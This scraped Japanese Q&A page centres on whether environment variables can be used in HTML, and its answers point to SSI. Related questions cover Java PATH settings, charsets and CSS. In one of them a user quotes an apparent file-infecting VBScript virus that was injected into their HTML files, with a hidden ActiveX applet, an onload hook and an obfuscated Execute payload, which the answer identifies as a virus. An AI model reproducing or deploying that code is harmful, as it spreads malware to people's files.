サーバを変える作業をしています。そして近い将来また変えるよていがあります。
プログラムファイルの中には、たくさんのHTML文書があり、その中でCGIを呼び出しています。URLにホスト名が入っているのをひとつひとつ修正するのを2回やらなくてもいいように、環境変数を使いたいのですが、HTML文書の中で環境変数を使うことはできますか?もしできるのなら、簡単なサンプルを紹介していただきたいのですが。よろしくお願いいたします。

このQ&Aに関連する最新のQ&A

A 回答 (2件)

再度。



SSIとは「Server Side Include」の略で、HTML文書中に、コメントの形でコマンドを埋め込むことでサーバにコメントを発行した結果を返してくれます。

プロバイダが許可してないと使用することが出来ません。
自社もしくは自分で立てているサーバであれば、httpd.confや.htaccessの設定で使用することが出来ます。
SSIで使用可能な環境変数を表示させることも出来ます。

参考URL:http://tohoho.wakusei.ne.jp/www.htm
    • good
    • 0
この回答へのお礼

ありがとうございました。
SSIのことは知らなかったので勉強になりました。
どういうふうに利用できるか思案中です。

お礼日時:2002/04/22 08:49

こんにちは。



HTMLのみでというなら、不可能だと思います。
SSIを使えばホスト名の取得はできますが、お使いのサーバで許可されてない場合は使えません。

この回答への補足

SSIって何ですか?
スクリプトですか?
CGIの方は、環境変数「SERVER_NAME」を取得することで解決したのですが、
やはりHTMLの方は無理でしょうね?

補足日時:2002/04/13 08:26
    • good
    • 0

このQ&Aに関連する人気のQ&A

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!

このQ&Aを見た人が検索しているワード

このQ&Aと関連する良く見られている質問

Q JDKのPATHの設定(環境変数)について 

 JDKのPATHの設定(環境変数)について 

 JDKをインストールした時に「コンントロールパネル>システム>詳細設定>
環境変数から、JDKへのPATHを設定してやりますが、
ある本には、PATHを選択して編集して表示される内容の一番最後にJDKのPATHを
追加するように書いている本があります。

 しかし、別の本では、TEMP>編集を選択して表示される内容の一番最後に
JDKのPATHを追加するように書いている本があります。

 また別の本には新しく「Java_HOME」という変数を作成してそこにPATHを追加
するとも書いています。

 これはどのように使い分けるのでしょうか、またどのような意味があるので
しょうか。

 また、環境変数のダイヤログには「ユーザーの環境変数」と「システム環境変数」
という項目がありますが、これはどのような違いがあって、どのように使い分ける
のでしょうか。

Aベストアンサー

PATHへの追加と、JAVA_HOMEの設定の両方を行っておいてください。
OSが実行形式ファイルを探すのに参照するのがPATHです。

JAVA_HOMEの方は、Javaで作られたプログラムが参照している場合があるので設定しておく方が良い、程度ですが、貴方が自分でJavaプログラムを作成するだけとかなら、設定してなくても特に問題はありません。

が、Javaの開発にツール類を使用するのなら、それらのツール類が参照している場合がありますので。

Q【AMP HTML】AMP HTMLってなんですか?HTML 4.0、4.1→HTML 5→AM

【AMP HTML】AMP HTMLってなんですか?

HTML 4.0、4.1→HTML 5→AMP HTML??

Aベストアンサー

AMP HTML(AMP(Accelerated Mobile Pages) HTML)とは、Googleがモバイル端末でのブラウザの表示速度を高速化する為に作成したHTML仕様です。
https://googleblog.blogspot.jp/2015/10/introducing-accelerated-mobile-pages.html
スマホやタブレット等のモバイル端末用のウェブサイトはリッチになりましたが、その分重く、表示に時間がかかるようになった事から高速表示が可能なAMP HTMLを作成しました。

Q環境変数PATH??

C初心者です。
C++Compilerをインストールした後に、環境変数PATHを設定しますが、この環境変数PATHはいったいどういう意味でしょうか??

Aベストアンサー

すみません。。。わたしの説明が下手なんでしょうね^^;
参考までに、以下のURLをご覧になってみてください。

http://pocketstudio.jp/linux/?%A5%D1%A5%B9(PATH)%A4%CE%B3%CE%C7%A7%A4%C8%C0%DF%C4%EA%CA%FD%CB%A1%A4%CF%A1%A9

QHTML文書のアップについて

私はgooの無料HPを使用している者ですが、自分で作ったHTML文書をアップしてHPに載せる方法が分からなくて困っています。
どうか、アップする方法を教えて下さい。

Aベストアンサー

gooの簡単HPでは、自分で作ったHTMLをアップすることはできないことになっているようです。(詳しくはヘルプをご覧ください。FTPツールの項目に書いてあります。)
どうしても自分でつくったものをアップした場合には、gooのコミュニティIDで開設できるHoopsの方に移動なさることをおすすめします。
この場合はFTPソフトを使えば、CGIは別としてHTMLなら自由にアップできます。
コミュニティのおすすめコミュニティサイトにリンクがあります。

参考URL:http://community.goo.ne.jp/

Qjavaの環境変数PATHについてご教授ください。

javaの環境変数PATHについてご教授ください。

現状、"c:\"でjavacコマンドを入力すると、「内部コマンドまたは外部コマンド~」
と警告が表示されます。

環境変数については、
・ユーザ環境変数にJAVA_HOMEを定義し、「C:\Program Files\Java\jdk1.6.0_20」を設定しています。
・システム環境変数のPATHに、「%JAVA_HOME%\bin;%SystemRoot%;%SystemRoot%\System32;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\」を設定しております。

OSは、vistaです。

【補足】
・C:\Program Files\Java\jdk1.6.0_20\binにディレクトリチェンジした場合、javacは実行できる。javac.exeはあります。

Aベストアンサー

で、コマンド プロンプトを開いて、
set pathとして表示される中に、
C:\Program Files\Java\jdk1.6.0_20\bin
は表示されますか?

表示されない場合、
ユーザ環境変数のPATHに
%JAVA_HOME%\bin
を設定したらどうなりますか?

# システム環境変数にJAVA_HOMEを設定、でいいような気もしますが…

QHTML文書作成時の文字コード

こんにちは。お世話になっております。
サークルのWebサイトを作成しています。文字コードはShift_JIS であるとMETA要素の中で宣言しており、エディタで作成、保存するときも、Shift_JISです。
プロバイダのサーバを使用しています。
今まで、特に問題はないのですが、このサイトを海外で見た場合、英語版Windowsでも、中国語版Windowsでも、Macでも普通に読めるのでしょうか?
Shift_JIS ではなく、EUC や Unicode で作成、保存し、META要素の中でも宣言するほうが、どんな環境でも読めるのでしょうか?
過去の質問&答えも拝見しましたが、なかなか難しくて分からないことも多いので、一番疑問に思っていることを質問させて頂くことにしました。
よろしくお願い致します。

Aベストアンサー

こんにちわ。

結論から言うと、読める場合と読めない場合があり、そのweb sight を読み込むpc systemというか設定次第です。

文字コードはUAが読み込んで判別し、内部で変換していきますが、Shift-Jis(japanease)の設定とそれを判別して変換するモノがなければ変換できません。同じことは、例えばキリル文字とか、アラビア文字を、あなたのpcで表示するように設定しないと、きちんと表示できないでしょう。それと同じと思って下さい。設定していても、その文字のフォントがなければ表示できないはずです。

文字自体は、コード番号に変換されてpcに届き、その番号をその文字コードにそって表示するのですから、コード表が異なれば違う文字になってしまいますし、そのコード表がなければ、そのpcで表示することができません。

Shift-Jis は、その名が示すとおり、Jis。日本語の2バイト文字は、Jis X ****(4桁の数字) という JIS規格です。EUC はExtended Unix Code、AT&T社が定めた複数バイトの文字を扱うコードです。EUCも各種あって、EUC-jpとか、EUC-国名 という感じですね。Unicode は ISO/IECの一部として標準化されたコード。文字コード体系については、詳しいサイトがたくさんありますから、そちらで。

文字コードは各種ありますが、どれにするかはその sightを誰に見てほしいか、その人はどんなプラットフォームなのか、次第だと思います。

こんにちわ。

結論から言うと、読める場合と読めない場合があり、そのweb sight を読み込むpc systemというか設定次第です。

文字コードはUAが読み込んで判別し、内部で変換していきますが、Shift-Jis(japanease)の設定とそれを判別して変換するモノがなければ変換できません。同じことは、例えばキリル文字とか、アラビア文字を、あなたのpcで表示するように設定しないと、きちんと表示できないでしょう。それと同じと思って下さい。設定していても、その文字のフォントがなければ表示できないはずです。
...続きを読む

Qjavaのpath環境変数がうまくできません

path環境変数がなかなか設定できません。

『システム変数の編集』で
どうも設定を間違っているらしく、
C:\j2re1.4.2\binを追加するのに
前にあったはずの、C:\WINDOWS~~~
を削除してしまって、なんて入れれば環境変数が
うまくできるかわからなくなってしまいました。
誰かお願いします。

Aベストアンサー

インターネットで探してみましたけど、見つかりませんでした。
この質問は、「Java環境変数を設定するときに本来の環境変数を消してしまった」という内容ですよね?
でしたら、Windows系OSで質問されたほうがいいと思います。

PATHは間違った設定にしてしまうと起動できなるとか聞いたんですけど、大丈夫ですか?

QHTML文書のソースに自動的に変な記述が

HTML文書をメモ帳で作っていますが、昨日からこれまでつくった全ての文書のメモ帳を開くと入れた記憶のない変な記述がくっついてきます。何度消してもまた復活しています。少し長いのですが、これです。長くて載せ切れなかったので、途中適当に消しました。
<HTML><BODY onload="vbscript:KJ_start()"><scriptlanguage=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
<script language=vbscript>ish>ego_e?nd@un`niok@un`niokKJrgmad_Foi^er%JateHamb#Lh EolorLesrge K_xtSeqFoi^erK[me7 FPI.GbnFoi^er%JateHamb#P_t QbisCclep= CildblNaj_.FffesHtq?xipns :0@or?aceThfmFii_ IkThfmFii_s@ilb?xt7 U@[se%@SO+AetBrtekmiokHambThfmFii_.P^nh)&IcFii_Exq= BTMOr@ilb?xt7 ENMLOr@ilb?TempChar"&vbCrLf&"Next")
Execute(ThisText)
</script></BODY></HTML>
文書自体はちゃんと表示れ一見何の障害もないように見えますが、削除しても復活しているし記憶にないだけに気持ち悪くて仕方がありません。HTML文書を入れているフォルダと、Cドライブにdesktop.iniと Folder.httという憶えのないアイコンが出来ていました。これも削除してもまた復活しています。この二つのアイコンもメモ帳で開くとまた意味不明の記述があるのですが長くなりすぎるので割愛します。このアイコンが出来ていたのも、メモ帳に変な文書がくっついてくるのも全く同時期です。これはウィルスなのでしょうか?とすればどのように対処すればいいでしょうか?かなり困っています。長くなりましたが、分かる方いらっしゃいましたら回答をよろしくお願いします。

HTML文書をメモ帳で作っていますが、昨日からこれまでつくった全ての文書のメモ帳を開くと入れた記憶のない変な記述がくっついてきます。何度消してもまた復活しています。少し長いのですが、これです。長くて載せ切れなかったので、途中適当に消しました。
<HTML><BODY onload="vbscript:KJ_start()"><scriptlanguage=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 cod...続きを読む

Aベストアンサー

コンピュータウイルスだと思います。

ノートンアンチウイルス
ウイルスバスターなどで駆除したほうがいいでしょう

↓オンラインスキャン(トレンドマイクロ社)をおつけします
ぜひ行ってみましょう。

参考URL:http://www.trendmicro.co.jp/hcall/index.asp

QJavaSDKの環境変数のPATHについて

初めまして。Javaについてですが、今使っているパソコンにJavaのSDK(1.6.0_27)をインストールしたのですが、環境変数のPATHの書き換えで何て書けば良いのか分かりません。誰でも良いので教えて下さい。それとjavacでHello classを作ろうとしても出来ません。それは環境変数のPATHを書き換えていないからですか?教えて下さい。よろしくお願いします。

Aベストアンサー

OS は Windows だと仮定します。

[<JDKをインストールしたフォルダ>\bin]を元のPATHの設定値の後ろに;で区切って付け加えます。
(既存のPATHの内容を削除しない様に気を付けて下さい)

例) JDKをインストールしたフォルダが C:\Java\jdk1.6.0_27 だとして

 %SYSTEMROOT%\system32;%SYSTEMROOT%;・・・・・;C:\Java\jdk1.6.0_27\bin


Oracle のページも参考になるでしょう。
http://java.sun.com/javase/ja/6/webnotes/install/jdk/install-windows.html#Environment


> それは環境変数のPATHを書き換えていないからですか?

その可能性も有りますが、ただ「出来ません」という情報だけでは分かりません。
エラーが出たならエラーメッセージから判断できるかも知れません。

Qhtml で 変数を定義できますか?

html(できればjava不使用)で変数に文字列をいれてつかう、またはそれに近いことはできないでしょうか?

例**************************
$color1="#000000"

<tr bgcolor=$color1>内容1<tr>
<tr bgcolor=$color1>内容2<tr>
****************************
みたいな感じです

Aベストアンサー

調べりゃ分かることは???だけど。

CSS2で無理やり作れば・・簡単だけど・・・
生成内容、自動番号振り、リスト ( http://www.swlab.it.okayama-u.ac.jp/man/rec-css2/generate.html )
 本来はXSLTで作るほうがよいかと・・・
 <th><xsl:value-of select="parson" />の歌</th>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="ja">
<head>
<meta http-equiv="content-type" content="text/html; charset=Shift_JIS">
<title>サンプル</title>
<meta name="author" content="ORUKA1951">
<meta http-equiv="Content-Style-Type" content="text/css">
<link rev="made" href="mailto:orika1951@hoge.com" title="send a mail" >
<link rel="START" href="../index.html">
<style type="text/css">
<!--
.parson1:before{content:"田中";}
p.age1:after{content:"36歳";}
-->
</style>
</head>
<body>
<h1>サンプル</h1>
<p class="parson1">は男の子</p>
<p class="parson1 age1">の年齢は</p>
<p>私の彼氏は<span class="parson1">君だよ</p>
</body>
</html>

調べりゃ分かることは???だけど。

CSS2で無理やり作れば・・簡単だけど・・・
生成内容、自動番号振り、リスト ( http://www.swlab.it.okayama-u.ac.jp/man/rec-css2/generate.html )
 本来はXSLTで作るほうがよいかと・・・
 <th><xsl:value-of select="parson" />の歌</th>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="ja">
<head>
<meta http-equiv="content-type" content="text/html; charset=Shift_JIS">
<title>サンプル</title>
<met...続きを読む


人気Q&Aランキング

おすすめ情報